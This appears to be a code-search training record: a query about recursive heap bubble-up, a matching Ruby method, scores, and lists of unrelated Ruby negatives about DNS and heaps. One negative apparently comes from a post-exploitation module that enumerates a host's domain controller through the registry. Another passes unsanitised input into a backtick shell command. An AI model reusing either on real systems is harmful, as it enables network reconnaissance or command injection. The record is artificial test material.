"def compare_domain(args)\r\n server_list = args[:server_list]\r\n domain = args[:domain_name]\r\n rtype = args[:rtype]\r\n rdata = args[:actual_rdata]\r\n rdata = (rtype == \"NAPTR\") ? rdata : rdata.downcase\r\n r = \"\"\r\n failed_rlist = []\r\n @timeout = 30\r\n sleep 15 if args[:sleepfirst]\r\n server_list.each do |server|\r\n dig_pass = \"succeed to dig @#{server} #{domain} #{rtype} => #{rdata}\"\r\n dig = `dig @#{server} #{domain} #{rtype}`\r\n if dig.include?(rdata)\r\n puts dig_pass\r\n else\r\n puts \"dig @#{server} #{domain} #{rtype} failed as expected!\" if args[:expected_dig_fail]\r\n return \"succeed\" if args[:expected_dig_fail]\r\n begin\r\n Timeout::timeout(@timeout){\r\n while !dig.include?(rdata)\r\n sleep 5\r\n dig_retry = `dig @#{server} #{domain} #{rtype}`\r\n puts dig_pass if dig_retry.include?(rdata)\r\n break if dig_retry.include?(rdata)\r\n end\r\n }\r\n rescue Timeout::Error\r\n puts \"Error => dig @#{server} #{domain} #{rtype} timed out!\"\r\n failed_rlist << \"failed\"\r\n end\r\n end\r\n end\r\n failed_rlist.empty? ? 'succeed' : 'failed'\r\n end",
"def data_from_zonefile_record type, zf_record\n case type.to_s.upcase\n when \"A\"\n String zf_record[:host]\n when \"AAAA\"\n String zf_record[:host]\n when \"CNAME\"\n String zf_record[:host]\n when \"MX\"\n \"#{zf_record[:pri]} #{zf_record[:host]}\"\n when \"NAPTR\"\n \"#{zf_record[:order]} #{zf_record[:preference]} \" \\\n \"#{zf_record[:flags]} #{zf_record[:service]} \" \\\n \"#{zf_record[:regexp]} #{zf_record[:replacement]}\"\n when \"NS\"\n String zf_record[:host]\n when \"PTR\"\n String zf_record[:host]\n when \"SOA\"\n \"#{zf_record[:primary]} #{zf_record[:email]} \" \\\n \"#{zf_record[:serial]} #{zf_record[:refresh]} \" \\\n \"#{zf_record[:retry]} #{zf_record[:expire]} \" \\\n \"#{zf_record[:minimumTTL]}\"\n when \"SPF\"\n String zf_record[:data]\n when \"SRV\"\n \"#{zf_record[:pri]} #{zf_record[:weight]} \" \\\n \"#{zf_record[:port]} #{zf_record[:host]}\"\n when \"TXT\"\n String zf_record[:text]\n else\n raise ArgumentError, \"record type '#{type}' is not supported\"\n end\n end",
"def dns_name\n [\"public\", fqdn].join(\".\")\n end",
"def search_domain_on_same_ip(entity_name, headers)\n\n # Set the URL for ip data\n url = \"https://api.spyse.com/v3/data/domain/on_same_ip?limit=100&domain=#{entity_name}\"\n\n # make the request\n response = http_get_body(url,nil,headers)\n json = JSON.parse(response)\n\n json[\"data\"][\"items\"].each do |result|\n\n # Create Dnsrecords shared the same ip\n if result[\"name\"]\n create_dns_entity_from_string(result[\"name\"], nil, false, \n { \"extended_spyse\" => result})\n end\n\n # Create SslCertificate\n #if result[\"cert_summary\"][\"fingerprint_sha256\"]\n # _create_entity(\"SslCertificate\", \"name\" => result[\"cert_summary\"][\"fingerprint_sha256\"], \"extended_spyse\" => result[\"cert_summary\"])\n #end\n\n # Create related IpAddress, physical location and ISP organization\n if result[\"dns_records\"]\n result[\"dns_records\"][\"A\"].each do |ip_address|\n _create_entity(\"IpAddress\", { \"name\" => ip_address, \"extended_spyse\" => result } ) \n end\n end\n\n end\n end",
"def get_parsed_dns( dns_query )\n begin\n parsed_dns = {\n :index => 0,\n :domain_name_dictionary => [],\n :dns_header_field => Hash.new(),\n :question_section => Hash.new(),\n :answer_section => Hash.new(),\n :authority_section => Hash.new(),\n :additional_section => Hash.new()\n }\n\n parsed_dns[:dns_header_field] = get_header_section(dns_query)\n parsed_dns[:index] = QUESTION_FIELD_START_INDEX\n parsed_dns[:question_section] = get_question_section(dns_query, parsed_dns)\n parsed_dns[:answer_section] = get_answer_resource_record(dns_query, parsed_dns)\n parsed_dns[:authority_section] = get_authority_resource_record(dns_query, parsed_dns)\n parsed_dns[:additional_section] = get_additional_resource_record(dns_query, parsed_dns)\n rescue\n end\n parsed_dns\n end",
"def initialize(domain, host, type, value, mx='', ttl=7200, rid=nil)\n raise ArgumentError, \"domain must be an instance of EveryDNS::Domain\" unless domain.is_a? EveryDNS::Domain\n @domain = domain\n @host = host\n @value = value\n @type = type.to_s.upcase.intern\n @mx = mx\n @ttl = ttl\n @id = rid.to_i\n raise ArgumentError, \"Invalid type \\\"#{type}\\\", valid types are #{VALID_TYPES.join(', ')}\" unless VALID_TYPES.include?(@type)\n raise ArgumentError, \"Records of type \\\"#{type}\\\" must provide and mx value\" if @type == :MX && @mx.empty?\n end",
"def enrich_reverse_dns\n return if data_type != \"ip\"\n\n self.reverse_dns_names = ReverseDnsName.build_by_ip(data)\n end",
"def parse_dns(raw)\n # Filtering Lines with Comments and Empty Lines\n dns_filter = raw.select { |x| x[0] != \"#\" && x != \"\\n\" }\n\n # Creating a List with 3 Columns\n dns_filter_list = []\n dns_filter.each { |x| dns_filter_list.push(x.split(\", \")) }\n\n # Creating the List each DNS for Hash\n record_type_list = []\n source_list = []\n destination_list = []\n\n dns_filter_list.each do |x|\n record_type_list.push(x[0])\n source_list.push(x[1])\n destination_list.push(x[2])\n end\n\n # Building the Hash\n dns_hash = {\n \"RECORDTYPE\".to_sym => record_type_list,\n \"SOURCE\".to_sym => source_list,\n \"DESTINATION\".to_sym => destination_list,\n }\n return dns_hash\nend",
"def get_domain(session)\n domain = \"\"\n ipv4_info = nil\n ipv6_info = nil\n begin\n subkey = \"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy\\\\History\"\n v_name = \"DCName\"\n domain_dc = registry_getvaldata(subkey, v_name)\n rescue\n print_error(\"Could not determine if the host is part of a domain.\")\n end\n if (!domain_dc.nil?)\n # leys parse the information\n dom_info = domain_dc.split('.')\n domain = dom_info[1].upcase\n dc = domain_dc.gsub('\\\\\\\\','')\n print_good(\"Domain: #{domain}\")\n print_good(\"Domain Controller: #{dc}\")\n\n # Resolve IPv4 address\n begin\n ipv4_info = session.net.resolve.resolve_host(dc, AF_INET)\n print_good(\"IPv4: #{ipv4_info[:ip]}\")\n\n rescue\n print_status(\"Could not resolve IPv4 for #{dc}\")\n end\n\n # Resolve IPv6 address\n begin\n ipv6_info = session.net.resolve.resolve_host(dc, AF_INET6)\n print_good(\"IPv6: #{ipv6_info[:ip]}\")\n rescue\n print_status(\"Could not resolve IPv6 for #{dc}\")\n end\n\n else\n print_status \"Host is not part of a domain.\"\n end\nend",
"def qos_add_host(rule_name,data)\n host_list = data.split(',')\n self.msg(rule_name, :debug, 'qos_add_host', \"host_list\" +host_list.to_s)\n host_list.each do |host|\n self.msg(rule_name, :debug, 'qos_add_host', \"processing host\" +host.to_s)\n @ff.link(:href, 'javascript:mimic_button(\\'add: ...\\', 1)').click\n @ff.select_list(:name, 'net_obj_type').select_value('8')\n if host.size > 0\n self.msg(rule_name, :debug, 'qos_add_host', \"set host\" +host)\n @ff.text_field(:name, 'hostname').set(host.strip)\n @ff.link(:text, 'Apply').click\n end\n end\n end",
"def public_dns_name\n data[:public_dns_name]\n end",
"def domain\n return 'ADS-QUEUE'\n end",
"def reverse_name_lookup(ip, type = :A)\n # look for all the zones\n type = type.to_sym if type.class != Symbol\n dns_name = String.new\n @dns.domains.each do |zone|\n @dns.domains.get(zone.id).records.each do | record |\n if record.data == ip and record.type.to_sym == type\n dns_name = record.name\n break\n end\n end\n end\n return dns_name\n end",
"def description\n \"Forward DNS Lookup\"\nend",
"def create(domain_name, type:nil, name:nil, content:nil, ttl:nil, failover:false, failover_content:nil, geozone:'World')\n state_changed = false\n\n domain_id = get_domain_by_name(domain_name)\n geo_region_id = get_geozone_by_name(geozone)\n\n # pull down the list to make sure we're not already matching\n result = match_records(domain_id,\n 'type' => type,\n 'name' => name,\n 'content' => content,\n 'geo_region_id' => geo_region_id\n )\n\n if result.empty?\n url_cmd = \"https://secure.rage4.com/rapi/createrecord/#{domain_id}?name=#{name}&content=#{content}&type=#{type}&geozone=#{geo_region_id}\"\n\n # optional parameters (sent only if specified)\n url_cmd += \"&ttl=#{ttl}\" unless ttl.nil?\n url_cmd += \"&failover=#{failover}\" unless failover.nil?\n url_cmd += \"&failovercontent=#{failover_content}\" unless failover_content.nil?\n\n buffer = open(url_cmd, http_basic_authentication: [@auth_id, @auth_key]).read\n result = JSON.parse(buffer)\n if result['status']\n state_changed = true\n Chef::Log.info \"Created record #{result['id']} #{type} #{name} #{content} #{ttl} #{geozone}\"\n else\n Chef::Log.error(\"Rage4 API error: #{result['error']}\")\n end\n else\n # There's a possibility that there is an existing, at least in terms of region and basic info.\n # optional parameters such as TTL and failover will need to be updated in that case.\n\n result.each do |record|\n # Note that the record result structure has slightly different fields than the api fields.\n options_update = {}\n options_update['ttl'] = { oldvalue: record['ttl'], newvalue: ttl } unless ttl.nil?\n options_update['failover_enabled'] = { oldvalue: record['failover_enabled'], newvalue: failover } unless failover.nil?\n options_update['failover_content'] = { oldvalue: record['failover_content'], newvalue: failover_content } unless failover_content.nil?\n\n rejected_fields = options_update.select { |_criteria, value| value[:oldvalue] != value[:newvalue] }\n unless rejected_fields.empty?\n Chef::Log.info(\"Updating fields #{rejected_fields}\")\n\n url_cmd = \"https://secure.rage4.com/rapi/updaterecord/#{record['id']}?name=#{name}&content=#{content}&geozone=#{geo_region_id}\"\n\n # optional parameters (sent only if specified)\n url_cmd += \"&ttl=#{ttl}\" unless ttl.nil?\n url_cmd += \"&failover=#{failover}\" unless failover.nil?\n url_cmd += \"&failovercontent=#{failover_content}\" unless failover_content.nil?\n\n buffer = open(url_cmd, http_basic_authentication: [@auth_id, @auth_key]).read\n result = JSON.parse(buffer)\n\n if result['status']\n state_changed = true\n Chef::Log.info(\"Overwrite record #{record['id']} #{record['type']} #{record['content']} #{record['name']} #{geozone}\")\n else\n Chef::Log.error(\"Rage4 API error: #{result['error']}\")\n end\n end\n end\n end\n\n state_changed\n end",
"def initialize(domain); @domain = domain; end",
"def domain\n settings.service.domain \n end",
"def dmarc\n dns_name ? txt_hash(\"_dmarc.\" + dns_name) : {}\n end"
] |
[
"0.6073174",
"0.5886176",
"0.58774704",
"0.57893085",
"0.5782167",
"0.5773545",
"0.57708484",
"0.57665884",
"0.55520725",
"0.5544492",
"0.5528443",
"0.552372",
"0.55121875",
"0.55064607",
"0.54421383",
"0.54165506",
"0.53927433",
"0.5386217",
"0.5373017",
"0.5341667",
"0.5339187",
"0.5335568",
"0.52619743",
"0.52317715",
"0.5231215",
"0.5231215",
"0.5227591",
"0.5224918",
"0.52147454",
"0.52044773",
"0.51812166",
"0.5179426",
"0.5178902",
"0.517797",
"0.51778734",
"0.5177759",
"0.51763815",
"0.51735675",
"0.5167827",
"0.51609355",
"0.5155609",
"0.51536095",
"0.51532567",
"0.51481926",
"0.5138984",
"0.513741",
"0.5135736",
"0.5129667",
"0.5114999",
"0.5101131",
"0.5095726",
"0.50898725",
"0.50837284",
"0.5082864",
"0.5068458",
"0.5068458",
"0.5057437",
"0.50574195",
"0.5051598",
"0.5051598",
"0.5046225",
"0.5046225",
"0.5046225",
"0.5046225",
"0.50461996",
"0.50432295",
"0.50393754",
"0.5038045",
"0.50259674",
"0.5018999",
"0.5018928",
"0.50188905",
"0.5018387",
"0.50172204",
"0.50123",
"0.5002543",
"0.49923596",
"0.49863693",
"0.49839473",
"0.4976589",
"0.49734193",
"0.495427",
"0.494922",
"0.4943812",
"0.49425808",
"0.49379826",
"0.4937378",
"0.49368608",
"0.49347556",
"0.4929056",
"0.49208668",
"0.49190176",
"0.49168205",
"0.49154982",
"0.49153313",
"0.49146107",
"0.48985335",
"0.48973683",
"0.48959914",
"0.48950502"
] |
0.57836735
|
4
|
bubble things up/heapify using recursion; parent scalar is always greater than the child scalars.
|
def bubble_up(index)
parent_index = (index/2)
#return if we reach the root element
return if index <= 1
return if @elements[parent_index] >= @elements[index]
#otherwise
exchange(index, parent_index)
#recurse
bubble_up(parent_index)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def heapify_up\n # Swap the current_node (starting with last child) with it's parent if it is smaller\n previous_current_node = nil\n current_node = @nodes.size - 1\n # When the current_node is not changing, then it has swapped as many times as it can\n until previous_current_node == current_node\n previous_current_node = current_node\n parent_node = parent(current_node)\n \n # Bounds check for when the current_node is the root\n break if current_node.zero? \n\n # Swap with the parent if the parent is bigger\n if @nodes[current_node] < @nodes[parent_node]\n @nodes[current_node], @nodes[parent_node] = @nodes[parent_node], @nodes[current_node]\n current_node = parent_node\n end\n end\n end",
"def reheapify(given_value)\n\t\tif parent(given_value) != 0\n\t\t\tif @array[given_value] > @array[parent(given_value)] #This is will not \n#attempt to reheapify on the root as parent() will return 0 if given 1/2. Otherwise, if the child is larger than the parent\n#reheapify will run, then call itself again.\n\t\t\thold_parent = @array[parent(given_value)]\n\t\t\t@array[parent(given_value)] = @array[given_value]\n\t\t\t@array[given_value] = hold_parent\n\t\t\treheapify(parent(given_value))\n\t\t\tend\n\t\tend\n\tend",
"def max_heapify_bottom_up(index)\n if parent_i(index) && self[parent_i(index)] < self[index] \n self.swap(parent_i(index), index)\n max_heapify_bottom_up(parent_i(index))\n end\n end",
"def heap_up(index)\n # get parent index based on child's position\n parent_index = (index - 1) / 2\n\n # return the array if there's no parent, or parent is less than or equal to child\n return @store if parent_index < 0 || @store[index].key >= @store[parent_index].key\n\n swap(parent_index, index)\n\n # call recursively on child's new position\n heap_up(parent_index)\n end",
"def heap_up(index)\n if index == 0\n # no more upstream to compare to\n return\n \n else\n # Compare node @ index to its parent\n # if child >= parent, min heap :-) base case\n # if child < parent, swap places, then heap_up(parentIndex), recursion!\n \n # this gets the correct ParentIndex for either L or R childIndex\n # ex: for parent @ index 1, its LC should be at index 3 and RC at index 4\n # calculating the parentIndex for index 3... we get (0.5).ceil = 1\n # and calculating the parentIndex for index 4... we get 1.ceil = 1\n parentIndex = ((index - 2).to_f / 2).ceil\n \n if @store[index].key >= @store[parentIndex].key\n return \n else\n swap(index, parentIndex)\n heap_up(parentIndex)\n return\n end\n end\n end",
"def heap_down(parentIndex)\n # compare node @ parentIndex to its children\n # if parent <= both children, min heap :-) base case\n # if parent > either/both child, swap places with the smaller child, then min_heap_down(childIndex), recursion!\n # when no more children to compare to, base case :-)\n \n # first find out if parent has LC or RC\n indexLC = parentIndex * 2 + 1 \n indexRC = indexLC + 1\n \n if @store.length > indexRC\n # both LC & RC exist, need to compare with both children\n if (@store[parentIndex].key > @store[indexLC].key) && (@store[parentIndex].key > @store[indexRC].key)\n # both LC & RC broke the heap property, which one is smaller?\n @store[indexLC].key > @store[indexRC].key ? (indexOfSmallerChild = indexRC) : (indexOfSmallerChild = indexLC)\n swap(parentIndex, indexOfSmallerChild)\n heap_down(indexOfSmallerChild)\n \n elsif @store[parentIndex].key > @store[indexLC].key\n # only LC broke the heap property\n swap(parentIndex, indexLC)\n heap_down(indexLC)\n \n elsif @store[parentIndex].key > @store[indexRC].key\n # only RC broke the heap property\n swap(parentIndex, indexRC)\n heap_down(indexRC)\n \n else \n # both children are bigger than parent -> min heap :-) base case\n return\n end\n \n elsif @store.length > indexLC\n # only LC exists\n if @store[parentIndex].key <= @store[indexLC].key\n # min heap :-) base case\n return \n else\n swap(parentIndex, indexLC)\n heap_down(indexLC)\n end\n \n else\n # no children, base case\n return\n end\n end",
"def heap_up(index)\n # base case: index is 0 \n if index > 0 \n # we need to subtract 1 from index to account for 0-indexing\n parent_i = (index - 1)/2\n\n # make sure its sibling isn't smaller, else swap them\n # i think technically you can just change which index\n # index is compared to, but the test got mad at me when i tried\n # that and i'm not sure how to avoid that, so i just swapped them \n # so i wouldn't have to change parent_i\n if @store[parent_i + 1].key < @store[parent_i].key \n swap(parent_i + 1, parent_i) \n end\n\n # check if swap needs to happen\n if @store[index].key < @store[parent_i].key\n swap(index, parent_i) \n heap_up(parent_i) # recursive call to keep bubbling up \n end\n\n # don't need to recursive call if reaches here; at correct position\n end\n end",
"def heap_up(index)\n return if index == 0\n parent = (index - 1 ) / 2\n # Compare the new node with it's parent\n # If they are out of order swap and heap-up\n if @store[parent].key > @store[index].key\n #swap\n swap(index, parent)\n #continue heap-up\n heap_up(parent)\n end\n \n end",
"def heapify_up(custom_start_index = nil)\n current_index = custom_start_index.nil? ? (self.heap_container.length - 1) : custom_start_index \n while(self.has_parent(current_index) && \n self.pair_is_in_correct_order(current_index, self.get_parent_index(current_index)))\n \n self.swap(current_index, self.get_parent_index(current_index))\n current_index = self.get_parent_index(current_index)\n end\n end",
"def bubble_up(index, node)\n while (index!=0 && @ary[(index-1)/2].key > node.key) #while parent is bigger,\n @ary[index], @ary[(index-1)/2] = @ary[(index-1)/2], @ary[index] #swap\n index = (index-1)/2\n end\n end",
"def sift_up(i)\n parent = (i - 1) / 2\n if parent >= 0 and @heap[parent] > @heap[i]\n @heap[parent], @heap[i] = @heap[i], @heap[parent]\n sift_up(parent)\n end\n end",
"def bubble_up(index)\n parent_index = (index / 2)\n\n # return if we reach the root element\n return if index <= 1\n\n # or if the parent is already less than the child\n return if @elements[parent_index].num_of_MRVs <= @elements[index].num_of_MRVs\n\n # otherwise we exchange the child with the parent\n exchange(index, parent_index)\n\n # and keep bubbling up\n bubble_up(parent_index)\n end",
"def heap_up(index)\n puts to_s\n parent_index = find_parent(index)\n if @store[parent_index].key <= @store[index].key || index == 0\n return\n end \n if @store[parent_index].key > @store[index].key\n # puts @store[index].value\n swap(parent_index, index)\n index = parent_index\n heap_up(index)\n end\n end",
"def heap_up(index)\n # base case to exit recursion\n return if index == 0\n \n parentIndex = (index - 1) / 2\n\n if @store[parentIndex].key > @store[index].key\n swap(index, parentIndex)\n heap_up(parentIndex)\n end\n end",
"def heap_up(index)\n parent = (index - 1) / 2\n bottom = @store[index]\n\n if index > 0 && @store[parent].key > bottom.key \n swap(index, parent)\n heap_up(parent)\n end \n end",
"def heap_up(index)\n # base case\n parent_index = (index - 1) / 2\n return if parent_index < 0 || @store[index].key >= @store[parent_index].key\n\n # swap\n @store[index], @store[parent_index] = @store[parent_index], @store[index]\n # recursive case\n heap_up(parent_index)\n end",
"def heap_up(index)\n\n # formula for determining parent index of a given element's index -- \n # parentheses are crucial!\n parent_index = (index - 1) / 2\n \n # BASE CASES\n # stop if the element we're looking at is at the root of the tree\n return if index == 0\n # since this is a min heap, we're done if the parent's key is less than (or \n # equal to) the key of the element we're looking at\n return if @store[parent_index].key <= @store[index].key\n\n # RECURSIVE CASE: swap element with parent ...\n @store[parent_index], @store[index] = @store[index], @store[parent_index]\n # ... and make parent the new element we're heaping up\n return heap_up(parent_index)\n end",
"def heap_up(index)\n parent_index = (index - 1) / 2\n\n unless @store[parent_index].key < @store[index].key || index <= 0 \n swap(parent_index, index)\n heap_up(parent_index)\n end\n end",
"def heapify_down\n # Swap the current_node (starting with root) with its smallest child until it's smaller than both of its children\n previous_current_node = nil\n current_node = 0\n # When the current_node is not changing, then it has swapped as many times as it can\n until previous_current_node == current_node\n previous_current_node = current_node\n right_child = right_child_node current_node\n left_child = left_child_node current_node\n\n # Bounds check for when current_node is one of the last two nodes\n # Or if there are only two nodes total\n if right_child >= @nodes.size\n # Correctly order nodes if there are only two nodes\n if @nodes.size == 2 && @nodes[left_child] < @nodes[current_node]\n @nodes[current_node], @nodes[left_child] = @nodes[left_child], @nodes[current_node] \n end\n break\n end\n\n # If current_node is greater than either of its children\n if @nodes[current_node] > @nodes[left_child] || @nodes[current_node] > @nodes[right_child]\n # Swap with the smallest child\n if @nodes[left_child] <= @nodes[right_child]\n @nodes[current_node], @nodes[left_child] = @nodes[left_child], @nodes[current_node]\n current_node = left_child\n else\n @nodes[current_node], @nodes[right_child] = @nodes[right_child], @nodes[current_node]\n current_node = right_child\n end\n end\n end\n end",
"def heap_up(index)\n parent_index = (index - 1) / 2\n\n # base case: index at root or if current node is greater than parent node\n return if index == 0\n return if @store[index].key > @store[parent_index].key\n \n # recursive case: swap and run again\n swap(index, parent_index)\n heap_up(parent_index)\n end",
"def bubble_down(index)\n # We first need the index of the lesser of its two children\n min_child_index = min_child_index(index)\n # If it has no children, do nothing\n return if min_child_index.nil?\n\n # If it is less than its min child, do nothing\n current = @heap[index]\n min_child = @heap[min_child_index]\n return unless current > min_child\n\n # Otherwise, we need to swap the element with its smaller child\n swap(index, min_child_index)\n # Then iterate #bubble_down\n bubble_down(min_child_index)\n end",
"def heap_up(idx)\n parent_idx = (idx - 1) / 2\n return if idx <= 0 || @store[parent_idx].key <= @store[idx].key\n swap(parent_idx, idx)\n heap_up(parent_idx)\n end",
"def heap_down(index)\n left_child_index = index * 2 + 1\n right_child_index = index * 2 + 2\n #check to see if the right child exists\n if @store[right_child_index] != nil\n # Define the min_child\n min_child = @store[right_child_index].key < @store[left_child_index].key ? right_child_index : left_child_index\n # if the min_child less than the parent, swap it and continue heaping down\n if @store[min_child].key < @store[index].key\n swap(min_child, index)\n heap_down(min_child)\n end\n elsif @store[left_child_index] != nil #check to see if the left child exists\n if @store[left_child_index].key < @store[index].key #if the min_child less than the parent, swap it and continue heaping down\n swap(left_child_index, index)\n heap_down(left_child_index)\n end\n end\n \n end",
"def upheap(idx)\n parentIdx = getParentIdx(idx) # gets index of parent node or nil\n # swap where parent is larger then recurse\n if parentIdx && @ary[parentIdx||idx] > @ary[idx]\n swap(idx, parentIdx)\n upheap(parentIdx)\n end\n end",
"def bubble_up()\n\t\ti = @elements.length - 1\n\t\twhile(i > 0)\n\t\t\t# compare with its parent. swap if parent is less than it\n\t\t\tif @elements[(i-1)/2][@orderBy] >= @elements[i][@orderBy]\n\t\t\t\tbreak\n\t\t\telse\n\t\t\t\tswap((i-1)/2, i)\n\t\t\t\ti = (i-1)/2\n\t\t\tend\n\t\tend\n\tend",
"def heapify!\n (length / 2).downto(1) { |i| sink(i) }\n end",
"def heap_up(index)\n until index == 0 || @store[index].key >= @store[((index - 1) / 2)].key\n parent = (index - 1) / 2\n swap(parent, index) if @store[parent].key > @store[index].key\n index = parent\n end\n end",
"def sift_up(current_idx, heap)\n parent_idx = (current_idx - 1) / 2\n while current_idx > 0 && heap[current_idx] < heap[parent_idx]\n self.swap(current_idx, parent_idx, heap)\n current_idx = parent_idx\n parent_idx = (current_idx - 1) / 2\n end\n end",
"def heapify(node)\n parent = node.parent\n left_child = parent.left\n right_child = parent.right\n until node.rating > parent.rating\n if ![left_child, right_child].include?(nil)\n if left_child.rating < right_child.rating\n swap_node(parent, left_child)\n else\n swap_node(parent, right_child)\n end\n else\n swap_node(parent, right_child) if left_child.nil?\n swap_node(parent, left_child) if right_child.nil?\n end\n heapify(parent) unless parent.id == 1\n end\n end",
"def heapify(key = 0)\n # Assume left and right children follow heap property\n value = get(key)\n return if value == nil\n\n larger_child_key = larger_child(key)\n larger_value = get(larger_child_key)\n\n if larger_value != nil && larger_value > value\n @data[key] = @data[larger_child_key]\n @data[larger_child_key] = key\n heapify(larger_child_key)\n end\n end",
"def heapify(list, sub_root, counter = 0)\n max_child = max_child(right_child(sub_root, list.length), left_child(sub_root, list.length), list)\n if max_child && list[max_child] > list[sub_root]\n swap(max_child, sub_root, list)\n heapify(list, max_child, counter + 1)\n elsif max_child\n heapify(list, sub_root - 1, counter + 1)\n end \n return \nend",
"def sift_up(current_index, heap)\n parent_index = (current_index - 1) / 2\n while current_index > 0 && heap[current_index] < heap[parent_index]\n self.swap(current_index, parent_index, heap)\n current_index = parent_index\n parent_index = (current_index - 1) / 2\n end\n end",
"def heap_down(index)\n left_child = 2 * index + 1\n right_child = 2 * index + 2\n min_child = nil\n\n # Return if there's no left child\n return if left_child > @store.length - 1\n\n # If there's no RIGHT child AND parent is greater than LEFT child...\n # swap parent with left child\n if @store[right_child].nil? && @store[index].key > @store[left_child].key\n swap(index, left_child)\n heap_down(index)\n elsif @store[right_child] #Otherwise, which child is min?\n if @store[right_child].key <= @store[left_child].key\n min_child = @store.index(@store[right_child])\n else\n min_child = @store.index(@store[left_child])\n end\n end\n\n # If parent is greater than minimum child, swap them\n if min_child && @store[index].key > @store[min_child].key\n swap(index, min_child)\n heap_down(index)\n end\n end",
"def heapify(queue)\n (queue.length - 1).downto(1) do |i|\n if queue[i].value > queue[i-1].value\n queue[i], queue[i-1] = queue[i-1], queue[i]\n else\n break\n end\n end\n end",
"def heapify_downward(i)\n #find the lowest node index that the node i could fall to\n end_node_index = find_end_of_node_path(i)\n \n #stash the value of node i for later\n start_node_value = self[i - 1] \n\n #search for the eventual final index where node i will fall\n swap_node_index = search_path_for_insert_position(i, end_node_index, start_node_value)\n \n #Move all parent nodes from the swap node index, up one level\n traversing_node_index = swap_node_index \n swap_node_value = self[traversing_node_index - 1]\n parent_value = self[parent_index(traversing_node_index) - 1]\n while traversing_node_index != i \n traversing_node_index = parent_index(traversing_node_index)\n self[traversing_node_index - 1] = swap_node_value\n swap_node_value = parent_value\n parent_value = self[parent_index(traversing_node_index) - 1]\n end\n \n #finally set the swap node index value to be our initial value \n self[swap_node_index - 1] = start_node_value \n end",
"def heapify(index)\n item = @items[index]\n parent = parent(index)\n left_child = left_child(index)\n right_child = right_child(index)\n if (parent && parent.attrib > item.attrib)\n swap(parent.index, index)\n elsif (left_child && right_child && left_child.attrib < item.attrib &&\n right_child.attrib < item.attrib)\n if (left_child.attrib < right_child.attrib)\n swap(index, left_child.index)\n else\n swap(index, right_child.index)\n end\n elsif (left_child && left_child.attrib < item.attrib)\n swap(index, left_child.index)\n elsif (right_child && right_child.attrib < item.attrib)\n swap(index, right_child.index)\n end\n end",
"def heap_down(index)\n # base case 1, can't reach any more child nodes\n # ^ meaning heap node has reached deepest depth of heap\n if 2 * (index + 1) - 1 < @store.length - 1\n child_i = 2 * (index + 1) - 1 # (index + 1) to account for zero index\n \n swap(child_i, child_i + 1) if @store[child_i].key > @store[(child_i + 1)].key\n\n if @store[child_i].key < @store[index].key\n swap(index, child_i)\n heap_down(child_i) \n end\n # base case 2, index is not last element\n elsif index < @store.length - 1\n swap(index, index + 1) if @store[index].key > @store[index + 1].key\n end\n # note that add will reorder the heap through swap\n end",
"def heap_down(index)\n\n left_child_index = 2 * index + 1\n right_child_index = 2 * index + 2\n\n # BASE CASES\n # stop if we're at the last leaf in the tree \n return if @store[left_child_index].nil? && @store[right_child_index].nil?\n # stop if both children are greater than or equal to parent\n return if @store[left_child_index].key >= @store[index].key && @store\n\n # RECURSIVE CASES\n # if parent is greater than left child, swap and look at next level --\n # need @store[index] conditional to stop code running after we've reached \n # the bottom of the heap\n if @store[index] && @store[index].key > @store[left_child_index].key\n @store[index], @store[left_child_index] = @store[left_child_index], @store[index] \n heap_down(left_child_index)\n end\n\n # if parent is greater than right child, swap and look at next level\n if @store[index] && @store[index].key > @store[right_child_index].key\n @store[index], @store[right_child_index] = @store[right_child_index], @store[index] \n heap_down(right_child_index)\n end\n\n end",
"def heapify(index)\n #Assume the left and right subroots are already valid heaps\n\n return if(leftChild(index)==nil && rightChild(index)==nil)\n\n if leftChild(index)!=nil && @store[index]<leftChild(index) then\n mini=index\n else\n mini=2*index\n end\n\n if rightChild(index)!=nil && @store[mini]>rightChild(index) then\n mini=2*index+1\n end\n\n if mini!=index then\n swap(index,mini)\n #call heapfiy recursively on minindex\n heapify(mini) \n end\n end",
"def heap_up(new_index)\n return if new_index == 0\n parent_index = (new_index - 1) / 2\n\n if @store[new_index].key < @store[parent_index].key\n swap(new_index, parent_index)\n heap_up(parent_index)\n end\n end",
"def heap_up(i)\n return if i == 0\n\n pnode = (i-1) / 2\n if @store[i].key < @store[pnode].key\n swap(i, pnode)\n heap_up(pnode)\n end\n end",
"def heap_down(index)\n puts 'heap down'\n puts to_s\n child_index = 2*index + 1\n if index >= @store.length - 1 || child_index >= @store.length - 1\n return\n end\n if @store[child_index].key >= @store[index].key\n return\n end \n if @store[child_index].key < @store[index].key\n swap(child_index, index)\n index = child_index\n heap_down(index)\n end\n end",
"def heapify\n for i in (0..(@ary.size-1)).to_a.reverse\n upheap(i)\n downheap(i)\n end\n end",
"def max_heapify(index)\n if self.left_i(index) > (self.size - 1) && self.right_i(index) > (self.size - 1)\n self.max_heapify_bottom_up(index)\n else\n self.max_heapify_top_down(index)\n end\n end",
"def heap_down(index)\n # calculate index of (possible) children\n child_L = index * 2 + 1\n child_R = index * 2 + 2\n\n # base case #1 - if current node has no children at all\n return if child_L >= @store.length \n # base case #2 - if a child exists and current node is smaller than min_child\n min_child = child_L\n if child_R < @store.length\n min_child = @store[child_L].key < @store[child_R].key ? child_L : child_R\n end\n\n return if @store[index].key < @store[min_child].key\n\n # recursive case: swap and run again\n swap(index, min_child)\n heap_down(min_child)\n end",
"def calculate_up_child\n # Guard condition for movement not possible\n return nil if blank_y + 1 == size\n\n # Make the movement\n new_state = swap_up\n\n # Avoids loop\n parents_array = parent_states(3)\n return nil if parents_array.include?(new_state)\n\n # Returns new node\n Node.new(new_state, self, blank_x, blank_y + 1)\n end",
"def bubble_up(i)\n while i > 0\n parent = (i+1) / 2 - 1\n if @contents[parent].key >= @contents[i].key then\n @contents[parent],@contents[i] = @contents[i],@contents[parent]\n i = parent\n else return\n end\n end\n end",
